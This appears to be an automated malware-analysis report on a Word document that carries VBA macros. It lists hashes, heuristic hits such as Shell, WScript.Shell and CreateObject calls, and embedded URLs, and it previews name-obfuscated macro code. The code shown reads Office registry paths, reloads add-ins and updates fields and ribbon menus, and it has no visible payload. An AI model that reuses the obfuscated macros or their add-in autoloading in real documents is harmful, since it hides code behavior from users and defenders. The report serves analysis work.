Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 205da9ebe525eae4…

MALICIOUS

Office (OOXML)

278.3 KB Created: 2016-05-12 13:13:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-10
MD5: 848b368f36d7c50c1a78914e8d936d1a SHA-1: 04ff079fdbeab345065c877418046d7f7c78af79 SHA-256: 205da9ebe525eae49890e79ffd0617ce4af68d6dd4a843a184209471446b1a18
270 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    GIdLWGK = "do shell script ""find -E " & OOitttzlDQ & " -iregex " & aWygLWnDobcmsIPrpvelQJWNbLdZM & "-maxdepth " & gsyxxQbhEfxtHTyATCLnx & """ "
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    zCmCEbMzKguXxOXTaoixXNfJnbYrMAZ = CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Microsoft\Office\Common\UserInfo\UserName")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set PTGfrVVsGjQJQvaGCIhS = CreateObject(gElAEkIANxVevDEqhsBRRMpXw(hPZPxMMg))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set PTGfrVVsGjQJQvaGCIhS = GetObject(, gElAEkIANxVevDEqhsBRRMpXw(hPZPxMMg))
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    DefaultAddinsDirFromReg = Environ("AppData") & "\Microsoft\" & CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Common\General\Addins")
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.joulesunlimited.com/ccmappings In document text (OOXML body / shared strings)
    • http://www.joulesunlimited.com/ccmappingsrIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2006/01/customuiIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2006/01/customui�In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 123334 bytes
SHA-256: 15eed05602a572cda3e2f5d02e18a8398351f6bb7640795d36bbd67181f8af48
Detection
ClamAV: No threats found
Obfuscation or payload: likely
555 of 1037 identifiers look randomly generated (e.g. 'cSettingsLintMenuAfterNieuwWordDocOnDocN') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AppEventsNOCRUNCH"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'< protected by www.CrunchCode.de - DO NOT CHANGE OR REMOVE THIS LABEL! >

Option Explicit
Private WithEvents mApplicationEventsNOCRUNCH As Word.Application
Attribute mApplicationEventsNOCRUNCH.VB_VarHelpID = -1
Private HWZHfJvDdTXVxKP As Boolean
Private CtpDaFashXZFaQpnBXXrCwevePuCPCK As Boolean
Private Sub Class_Initialize()
Set mApplicationEventsNOCRUNCH = Nothing
HWZHfJvDdTXVxKP = cSettingsAddJUBasedDocPropOnOnNewDocument
CtpDaFashXZFaQpnBXXrCwevePuCPCK = cSettingsLintMenuAfterNieuwWordDocOnDocNewEvent
End Sub
Public Sub Enable()
Set mApplicationEventsNOCRUNCH = Application
End Sub
Public Sub Disable()
Set mApplicationEventsNOCRUNCH = Nothing
End Sub
Public Property Get uJgFNHvDGdpGzCShGq() As Boolean
uJgFNHvDGdpGzCShGq = HWZHfJvDdTXVxKP
End Property
Public Property Let uJgFNHvDGdpGzCShGq(b As Boolean)
HWZHfJvDdTXVxKP = b
End Property
Public Property Get eIMATKEoQoPbMnScoc() As Boolean
eIMATKEoQoPbMnScoc = CtpDaFashXZFaQpnBXXrCwevePuCPCK
End Property
Public Property Let eIMATKEoQoPbMnScoc(b As Boolean)
CtpDaFashXZFaQpnBXXrCwevePuCPCK = b
End Property
Private Sub mApplicationEventsNOCRUNCH_NewDocument(ByVal doc As Document)
On Error GoTo olmguNphTRIzMQqdQyar
If Me.uJgFNHvDGdpGzCShGq Then
On Error Resume Next
xfuwHloudjVeyQ.gMmSZnt doc
On Error GoTo olmguNphTRIzMQqdQyar
End If
If Me.eIMATKEoQoPbMnScoc Then
On Error Resume Next
ModRibbonCallbacks.uvSwNCXRHOUvdphzESAAsjU doc
On Error GoTo olmguNphTRIzMQqdQyar
End If
Exit Sub
olmguNphTRIzMQqdQyar:
End Sub

Attribute VB_Name = "Blad1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'< protected by www.CrunchCode.de - DO NOT CHANGE OR REMOVE THIS LABEL! >

Option Explicit

Attribute VB_Name = "GeQKyNtxkUjEpuG"
'< protected by www.CrunchCode.de - DO NOT CHANGE OR REMOVE THIS LABEL! >

Option Explicit
Option Private Module
Public Enum crJIAUxollnJOIUhBjpsPTWCmTmVx
JijzwefTavmuTRpAXCAcgcjGNmyvKM = 1
mupkCEHEwZxvrx = 2
IcVKRXilFNIn = 3
End Enum
Public Function XFrUkSSRjJpcieisNgWJjS() As crJIAUxollnJOIUhBjpsPTWCmTmVx
If LCase$(Application.name) Like "*word*" Then
XFrUkSSRjJpcieisNgWJjS = JijzwefTavmuTRpAXCAcgcjGNmyvKM
ElseIf LCase$(Application.name) Like "*powerpoint*" Then
XFrUkSSRjJpcieisNgWJjS = IcVKRXilFNIn
ElseIf LCase$(Application.name) Like "*excel*" Then
XFrUkSSRjJpcieisNgWJjS = mupkCEHEwZxvrx
Else
XFrUkSSRjJpcieisNgWJjS = 0
End If
End Function
#If Mac = 0 Then
Public Function wugNnGxbbYPZusn(hPZPxMMg As crJIAUxollnJOIUhBjpsPTWCmTmVx) As Object
Dim HkFDTuDnnXcNnPjwknkwpcaROJbnwl As String
Dim PTGfrVVsGjQJQvaGCIhS As Object
Set PTGfrVVsGjQJQvaGCIhS = Nothing
On Error Resume Next
Set PTGfrVVsGjQJQvaGCIhS = GetObject(, gElAEkIANxVevDEqhsBRRMpXw(hPZPxMMg))
On Error GoTo 0
If PTGfrVVsGjQJQvaGCIhS Is Nothing Then
Set PTGfrVVsGjQJQvaGCIhS = CreateObject(gElAEkIANxVevDEqhsBRRMpXw(hPZPxMMg))
End If
Set wugNnGxbbYPZusn = PTGfrVVsGjQJQvaGCIhS
End Function
Public Function XcRoLxOgsrcVA(OJuyugEMuXUJcKNVjj As crJIAUxollnJOIUhBjpsPTWCmTmVx) As Boolean
On Error Resume Next
GetObject , gElAEkIANxVevDEqhsBRRMpXw(OJuyugEMuXUJcKNVjj)
XcRoLxOgsrcVA = (Err.Number = 0)
On Error GoTo 0
End Function
Private Function gElAEkIANxVevDEqhsBRRMpXw(xghqLOcocuIqKxG As crJIAUxollnJOIUhBjpsPTWCmTmVx) As String
Select Case xghqLOcocuIqKxG
Case crJIAUxollnJOIUhBjpsPTWCmTmVx.mupkCEHEwZxvrx
gElAEkIANxVevDEqhsBRRMpXw = "Excel.Application"
Case crJIAUxollnJOIUhBjpsPTWCmTmVx.JijzwefTavmuTRpAXCAcgcjGNmyvKM
gElAEkIANxVevDEqhsBRRMpXw = "Word.Application"
Case crJIAUxollnJOIUhBjpsPTWCmTmVx.IcVKRXilFNIn
gElAEkIANxVevDEqhsBRRMpXw = "PowerPoint.Application"
End Select
End Function
#End If
Private Sub ZsysDummy_NoCrunch()
End Sub

Attribute VB_Name = "HIDArSztfPlSSdXjD"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'< protected by www.CrunchCode.de - DO NOT CHANGE OR REMOVE THIS LABEL! >

Option Explicit
Public Enum ZyVhlsUGUpqQbWGFVSnDzUkaPww
dhjIbxPsHXLMpFXEwEkFrmtSxFzjNZH = 1
wofZSDLUgkRJJc = 2
End Enum
Private TkWKWodytcRoVRyyqWFkWQ As Collection
Private LOeICCvgkLC As Collection
Private Sub Class_Initialize()
Set TkWKWodytcRoVRyyqWFkWQ = New Collection
Set LOeICCvgkLC = New Collection
End Sub
Public Property Get hfZGIWzAkZBUSaSfSre() As Collection
Set hfZGIWzAkZBUSaSfSre = TkWKWodytcRoVRyyqWFkWQ
End Property
Public Property Get efXFlbmJrQRslOn() As Collection
Set efXFlbmJrQRslOn = LOeICCvgkLC
End Property
Public Property Get Count() As Long
Count = TkWKWodytcRoVRyyqWFkWQ.Count
End Property
Public Property Get Item(Key As Variant) As Variant
Dim yuAkXtDolmcMlrPMRaAJemcz As Long
Item = Null
For yuAkXtDolmcMlrPMRaAJemcz = 1 To TkWKWodytcRoVRyyqWFkWQ.Count
If TkWKWodytcRoVRyyqWFkWQ(yuAkXtDolmcMlrPMRaAJemcz) = Key Then
If IsObject(LOeICCvgkLC(yuAkXtDolmcMlrPMRaAJemcz)) Then
Set Item = LOeICCvgkLC(yuAkXtDolmcMlrPMRaAJemcz)
Else
Item = LOeICCvgkLC(yuAkXtDolmcMlrPMRaAJemcz)
End If
Exit For
End If
Next yuAkXtDolmcMlrPMRaAJemcz
End Property
Public Sub Add(Key As Variant, Item As Variant)
Me.Remove Key
TkWKWodytcRoVRyyqWFkWQ.Add Key
LOeICCvgkLC.Add Item
End Sub
Public Function Exists(Key As Variant) As Boolean
Dim deMBdmYVZAt As Variant
Exists = False
For Each deMBdmYVZAt In TkWKWodytcRoVRyyqWFkWQ
If deMBdmYVZAt = Key Then
Exists = True
Exit For
End If
Next deMBdmYVZAt
End Function
Public Sub RemoveAll()
Set TkWKWodytcRoVRyyqWFkWQ = New Collection
Set LOeICCvgkLC = New Collection
End Sub
Public Sub Remove(Key As Variant)
Dim tDzroMws As Long
For tDzroMws = 1 To TkWKWodytcRoVRyyqWFkWQ.Count
If TkWKWodytcRoVRyyqWFkWQ(tDzroMws) = Key Then
TkWKWodytcRoVRyyqWFkWQ.Remove tDzroMws
LOeICCvgkLC.Remove tDzroMws
Exit For
End If
Next tDzroMws
End Sub
Public Sub Sort(QclaRmcEjdiGeJKiuoGBlrcIMhJRo As ZyVhlsUGUpqQbWGFVSnDzUkaPww)
Dim sNlCyigMsnO As HIDArSztfPlSSdXjD
Dim wLVttUJwnrvvipG() As Variant
Dim nwDmepiatdkbhxgnI As Variant
Dim CqlPrxBXYxcgza As String
Dim LurQSekGBZXlsSGHeVUUAzYrn As Variant
Dim UUymTQCRWwvmZIMzPPVy As Long
Dim eYjdmcDqCgENYQIk As Long
Dim z As Long
Set sNlCyigMsnO = Me
z = sNlCyigMsnO.Count
If z > 1 Then
ReDim wLVttUJwnrvvipG(z, 2)
UUymTQCRWwvmZIMzPPVy = 0
For Each nwDmepiatdkbhxgnI In sNlCyigMsnO.hfZGIWzAkZBUSaSfSre
wLVttUJwnrvvipG(UUymTQCRWwvmZIMzPPVy, dhjIbxPsHXLMpFXEwEkFrmtSxFzjNZH) = CStr(nwDmepiatdkbhxgnI)
wLVttUJwnrvvipG(UUymTQCRWwvmZIMzPPVy, wofZSDLUgkRJJc) = CStr(sNlCyigMsnO.Item(nwDmepiatdkbhxgnI))
UUymTQCRWwvmZIMzPPVy = UUymTQCRWwvmZIMzPPVy + 1
Next nwDmepiatdkbhxgnI
For UUymTQCRWwvmZIMzPPVy = 0 To (z - 2)
For eYjdmcDqCgENYQIk = UUymTQCRWwvmZIMzPPVy To (z - 1)
If StrComp(wLVttUJwnrvvipG(UUymTQCRWwvmZIMzPPVy, QclaRmcEjdiGeJKiuoGBlrcIMhJRo), wLVttUJwnrvvipG(eYjdmcDqCgENYQIk, QclaRmcEjdiGeJKiuoGBlrcIMhJRo), vbTextCompare) > 0 Then
CqlPrxBXYxcgza = wLVttUJwnrvvipG(UUymTQCRWwvmZIMzPPVy, dhjIbxPsHXLMpFXEwEkFrmtSxFzjNZH)
LurQSekGBZXlsSGHeVUUAzYrn = wLVttUJwnrvvipG(UUymTQCRWwvmZIMzPPVy, wofZSDLUgkRJJc)
wLVttUJwnrvvipG(UUymTQCRWwvmZIMzPPVy, dhjIbxPsHXLMpFXEwEkFrmtSxFzjNZH) = wLVttUJwnrvvipG(eYjdmcDqCgENYQIk, dhjIbxPsHXLMpFXEwEkFrmtSxFzjNZH)
wLVttUJwnrvvipG(UUymTQCRWwvmZIMzPPVy, wofZSDLUgkRJJc) = wLVttUJwnrvvipG(eYjdmcDqCgENYQIk, wofZSDLUgkRJJc)
wLVttUJwnrvvipG(eYjdmcDqCgENYQIk, dhjIbxPsHXLMpFXEwEkFrmtSxFzjNZH) = CqlPrxBXYxcgza
wLVttUJwnrvvipG(eYjdmcDqCgENYQIk, wofZSDLUgkRJJc) = LurQSekGBZXlsSGHeVUUAzYrn
End If
Next eYjdmcDqCgENYQIk
Next UUymTQCRWwvmZIMzPPVy
sNlCyigMsnO.RemoveAll
For UUymTQCRWwvmZIMzPPVy = 0 To (z - 1)
sNlCyigMsnO.Add wLVttUJwnrvvipG(UUymTQCRWwvmZIMzPPVy, dhjIbxPsHXLMpFXEwEkFrmtSxFzjNZH), wLVttUJwnrvvipG(UUymTQCRWwvmZIMzPPVy, wofZSDLUgkRJJc)
Next UUymTQCRWwvmZIMzPPVy
End If
End Sub

Attribute VB_Name = "jEYJRHUPhdSyIkFfyXlV"
'< protected by www.CrunchCode.de - DO NOT CHANGE OR REMOVE THIS LABEL! >

Option Explicit
Option Private Module
#If Mac = 0 Then
Public Function zCmCEbMzKguXxOXTaoixXNfJnbYrMAZ() As String
On Error Resume Next
zCmCEbMzKguXxOXTaoixXNfJnbYrMAZ = CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Microsoft\Office\Common\UserInfo\UserName")
On Error GoTo 0
End Function
Public Sub OMRzVanKczvNHGzsKjNWV(ExKtoljUfVPinOw As Object)
Dim oGDCcst As Object
Dim jnSAvzFftKaiClAKfvFzIhrQzBUqL As String
On Error Resume Next
For Each oGDCcst In ExKtoljUfVPinOw.AddIns
If oGDCcst.Installed Then
oGDCcst.Installed = False
oGDCcst.Installed = True
End If
Next oGDCcst
If Len(ExKtoljUfVPinOw.StartupPath) <> 0 Then
jnSAvzFftKaiClAKfvFzIhrQzBUqL = Dir(vATkLBmduaCnM.DEkSirIBdZPhxw(ExKtoljUfVPinOw.StartupPath, "*.xlam"), vbNormal + vbReadOnly)
Do While Len(jnSAvzFftKaiClAKfvFzIhrQzBUqL) <> 0
ExKtoljUfVPinOw.Workbooks.Open vATkLBmduaCnM.DEkSirIBdZPhxw(ExKtoljUfVPinOw.StartupPath, jnSAvzFftKaiClAKfvFzIhrQzBUqL)
jnSAvzFftKaiClAKfvFzIhrQzBUqL = Dir
Loop
jnSAvzFftKaiClAKfvFzIhrQzBUqL = Dir(vATkLBmduaCnM.DEkSirIBdZPhxw(ExKtoljUfVPinOw.StartupPath, "*.xla"), vbNormal + vbReadOnly)
Do While Len(jnSAvzFftKaiClAKfvFzIhrQzBUqL) <> 0
ExKtoljUfVPinOw.Workbooks.Open vATkLBmduaCnM.DEkSirIBdZPhxw(ExKtoljUfVPinOw.StartupPath, jnSAvzFftKaiClAKfvFzIhrQzBUqL)
jnSAvzFftKaiClAKfvFzIhrQzBUqL = Dir
Loop
End If
If Len(ExKtoljUfVPinOw.AltStartupPath) <> 0 Then
jnSAvzFftKaiClAKfvFzIhrQzBUqL = Dir(vATkLBmduaCnM.DEkSirIBdZPhxw(ExKtoljUfVPinOw.AltStartupPath, "*.xlam"), vbNormal + vbReadOnly)
Do While Len(jnSAvzFftKaiClAKfvFzIhrQzBUqL) <> 0
ExKtoljUfVPinOw.Workbooks.Open vATkLBmduaCnM.DEkSirIBdZPhxw(ExKtoljUfVPinOw.AltStartupPath, jnSAvzFftKaiClAKfvFzIhrQzBUqL)
jnSAvzFftKaiClAKfvFzIhrQzBUqL = Dir
Loop
jnSAvzFftKaiClAKfvFzIhrQzBUqL = Dir(vATkLBmduaCnM.DEkSirIBdZPhxw(ExKtoljUfVPinOw.AltStartupPath, "*.xla"), vbNormal + vbReadOnly)
Do While Len(jnSAvzFftKaiClAKfvFzIhrQzBUqL) <> 0
ExKtoljUfVPinOw.Workbooks.Open vATkLBmduaCnM.DEkSirIBdZPhxw(ExKtoljUfVPinOw.AltStartupPath, jnSAvzFftKaiClAKfvFzIhrQzBUqL)
jnSAvzFftKaiClAKfvFzIhrQzBUqL = Dir
Loop
End If
End Sub
Public Function WordStartUpDirectoryFromReg()
Dim xekGYlYTGjFLfXUq As String
On Error Resume Next
xekGYlYTGjFLfXUq = ""
xekGYlYTGjFLfXUq = CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\" & Application.Version & "\Word\Options\STARTUP-PATH")
If Len(xekGYlYTGjFLfXUq) = 0 Then
xekGYlYTGjFLfXUq = CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Options\STARTUP-PATH")
End If
WordStartUpDirectoryFromReg = xekGYlYTGjFLfXUq
End Function
Public Function AEMEXZCqshljutR() As String
Dim XAOxvjPrbQRNsmFIvZQRJjyw As String
On Error Resume Next
XAOxvjPrbQRNsmFIvZQRJjyw = ""
XAOxvjPrbQRNsmFIvZQRJjyw = CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\" & Application.Version & "\Excel\Options\AltStartup")
If Len(XAOxvjPrbQRNsmFIvZQRJjyw) = 0 Then
XAOxvjPrbQRNsmFIvZQRJjyw = CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Excel\Options\AltStartup")
End If
AEMEXZCqshljutR = XAOxvjPrbQRNsmFIvZQRJjyw
End Function
Public Function WerkgroepsjablonenDirFromReg() As String
Dim ywHxNQbTPSKSmLVdrHPLHZbtWHSOlyw As String
On Error Resume Next
ywHxNQbTPSKSmLVdrHPLHZbtWHSOlyw = ""
ywHxNQbTPSKSmLVdrHPLHZbtWHSOlyw = CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Policies\Microsoft\office\" & Application.Version & "\Common\General\SharedTemplates")
If Len(ywHxNQbTPSKSmLVdrHPLHZbtWHSOlyw) = 0 Then
ywHxNQbTPSKSmLVdrHPLHZbtWHSOlyw = CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Common\General\SharedTemplates")
End If
WerkgroepsjablonenDirFromReg = ywHxNQbTPSKSmLVdrHPLHZbtWHSOlyw
End Function
Public Function GebruikerssjablonenDirFromReg() As String
Dim rlDQEuANE As String
On Error Resume Next
rlDQEuANE = ""
rlDQEuANE = CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\" & Application.Version & "\Common\General\UserTemplates")
If Len(rlDQEuANE) = 0 Then
rlDQEuANE = CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Common\General\UserTemplates")
End If
GebruikerssjablonenDirFromReg = rlDQEuANE
End Function
Public Function DefaultAddinsDirFromReg() As String
On Error Resume Next
DefaultAddinsDirFromReg = Environ("AppData") & "\Microsoft\" & CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Common\General\Addins")
On Error GoTo 0
End Function
#End If
Private Sub ZsysDummy_NoCrunch()
End Sub

Attribute VB_Name = "JgkxfgIXtrdMeiez"
'< protected by www.CrunchCode.de - DO NOT CHANGE OR REMOVE THIS LABEL! >

Option Explicit
Public Sub UpdateAllFieldsJU()
Dim doc As Word.Document
Dim kSHMWdZaxTMvBXLZuO As Word.Section
Dim YrLncgCyBDJQw As Word.HeaderFooter
Dim MJrqkbtsdUMCNmIifWGyNrBHT As Word.Shape
Dim cEhMdTzllOSgNI As Long
Dim YLkMCBtHJLfJnpQDTXISIRxooEKpiug As Word.TextFrame
On Error GoTo qcaHwugchMgsJcEdCNPGxzyoMeGm
If Word.Application.Documents.Count < 1 Then
Exit Sub
End If
Set doc = ActiveDocument
System.Cursor = wdCursorWait
Application.DisplayAlerts = wdAlertsNone 'rem toegevoegd door jules ivm soms melding 'can't undo'
VwvItbcISuRZaHhdZvWFRHjlfJ.tIBhzPYFREoVAhjHkFvyCxy IIf(DYUtgyiAe = SettingsRibbonLanguageNederlands, "Velden bijwerken", "Update fields")
On Error Resume Next
doc.Fields.Update
On Error GoTo qcaHwugchMgsJcEdCNPGxzyoMeGm
For Each kSHMWdZaxTMvBXLZuO In doc.Sections
For Each YrLncgCyBDJQw In kSHMWdZaxTMvBXLZuO.Headers
If Not YrLncgCyBDJQw.LinkToPrevious Then
On Error Resume Next
YrLncgCyBDJQw.Range.Fields.Update
On Error GoTo qcaHwugchMgsJcEdCNPGxzyoMeGm
End If
Next YrLncgCyBDJQw
For Each YrLncgCyBDJQw In kSHMWdZaxTMvBXLZuO.Footers
If Not YrLncgCyBDJQw.LinkToPrevious Then
On Error Resume Next
YrLncgCyBDJQw.Range.Fields.Update
On Error GoTo qcaHwugchMgsJcEdCNPGxzyoMeGm
End If
Next YrLncgCyBDJQw
Next kSHMWdZaxTMvBXLZuO
On Error Resume Next
doc.StoryRanges(wdFootnotesStory).Fields.Update
doc.StoryRanges(wdEndnotesStory).Fields.Update
On Error GoTo qcaHwugchMgsJcEdCNPGxzyoMeGm
For cEhMdTzllOSgNI = 1 To doc.Shapes.Count
Set YLkMCBtHJLfJnpQDTXISIRxooEKpiug = Nothing
On Error Resume Next
Set YLkMCBtHJLfJnpQDTXISIRxooEKpiug = doc.Shapes(cEhMdTzllOSgNI).TextFrame
On Error GoTo qcaHwugchMgsJcEdCNPGxzyoMeGm
If Not YLkMCBtHJLfJnpQDTXISIRxooEKpiug Is Nothing Then
If YLkMCBtHJLfJnpQDTXISIRxooEKpiug.HasText Then
On Error Resume Next
YLkMCBtHJLfJnpQDTXISIRxooEKpiug.TextRange.Fields.Update
On Error GoTo qcaHwugchMgsJcEdCNPGxzyoMeGm
End If
End If
Next cEhMdTzllOSgNI
bTzVTxLH:
On Error Resume Next
If VwvItbcISuRZaHhdZvWFRHjlfJ.kOGgwlewGFv Then
VwvItbcISuRZaHhdZvWFRHjlfJ.OAInOXkqRyUPYyPCCCATvGAvz
End If
Application.DisplayAlerts = wdAlertsAll 'rem toegevoegd door jules ivm soms melding 'can't undo'
System.Cursor = wdCursorNormal
On Error GoTo 0
Exit Sub
qcaHwugchMgsJcEdCNPGxzyoMeGm:
Resume bTzVTxLH
End Sub

Attribute VB_Name = "KnqcEAcLr"
'< protected by www.CrunchCode.de - DO NOT CHANGE OR REMOVE THIS LABEL! >

Option Explicit
Option Private Module
#If Mac = 0 Then
Private Const wObspcLTdWNXCQAQXMtztwRSjxGeYU = "Standard Texts"
Private Const DsgpzhfumZDsIhmkKzcDCpKDWnLXIMH = "Standard text.ju"
Private Const vdYfURkZKubssqMe = "Persoonlijk"
Private Const iZgyigDYEwiNEzfZfBwYACWWwIgWY = "Personal"
Private Const RBTcFIzwcQPona = "JUID_ST_"
Private Const lLjOpmHOwHoCrCSgVhuOzkhby = "Selectie opslaan als standaardtekst"
Private Const RqALItiNXDIiomVQoBolQbSInBX = "Save selection as standard text"
Private Const IWhHeKWjbtIZRxgOlvjbyWhUZquj = "De nieuwe standaardtekst kan niet worden opgeslagen, want de map om standaardteksten in op te slaan is niet gevonden"
Private Const TjAMGFxDuOOqmriooIY = "Cannot save the new standard text because the folder for standard texts was not found"
Private Const qpqeowigFoxfBjYeiStOH = 5
Private kqHCpdwqQq As Variant
Private Property Let ckuHreOBNSHK(ZdYachj As Variant)
kqHCpdwqQq = ZdYachj
End Property
Public Property Get ckuHreOBNSHK() As Variant
If JREIHBbTAEgcUauUIYUBEcyQeMecr(kqHCpdwqQq) Then
HtXbQlEUnbbkEyDmMseu
End If
ckuHreOBNSHK = kqHCpdwqQq
End Property
Public Sub HtXbQlEUnbbkEyDmMseu()
Dim hLexZGwFhCJYXEyhbUeV As String
Dim QHOyjjCkhcVFNWlUy As String
Dim fqjdjStharpDBLEGSyxZgaimBBGUIc As String
Call aXSEcSqZHM(RBTcFIzwcQPona, reset:=True)
hLexZGwFhCJYXEyhbUeV = "<menu xmlns=""" & grIMySHucNkgMoiWHS & """> "
QHOyjjCkhcVFNWlUy = jMGbGDejQsVtwiNlZAWuMIsFR(VSZwvKJXsCmgDdBU, ciOaoaWPBOtwVTyiSX:=True, aEwUvuqCOBqFRcfBxmBqXqUMtg:=qpqeowigFoxfBjYeiStOH)
hLexZGwFhCJYXEyhbUeV = hLexZGwFhCJYXEyhbUeV & QHOyjjCkhcVFNWlUy
fqjdjStharpDBLEGSyxZgaimBBGUIc = jMGbGDejQsVtwiNlZAWuMIsFR(PjvUIMyQPSUCZsmgGBQ, ciOaoaWPBOtwVTyiSX:=True, aEwUvuqCOBqFRcfBxmBqXqUMtg:=qpqeowigFoxfBjYeiStOH)
If Len(fqjdjStharpDBLEGSyxZgaimBBGUIc) <> 0 Then
hLexZGwFhCJYXEyhbUeV = hLexZGwFhCJYXEyhbUeV & "<menuSeparator title=""" & WSYrLdIwkAXbuukPKQmgGDIaKtwu & """ id=""" & aXSEcSqZHM(RBTcFIzwcQPona) & """/> "
hLexZGwFhCJYXEyhbUeV = hLexZGwFhCJYXEyhbUeV & fqjdjStharpDBLEGSyxZgaimBBGUIc
End If
hLexZGwFhCJYXEyhbUeV = hLexZGwFhCJYXEyhbUeV & "<menuSeparator id=""" & aXSEcSqZHM(RBTcFIzwcQPona) & """ /> "
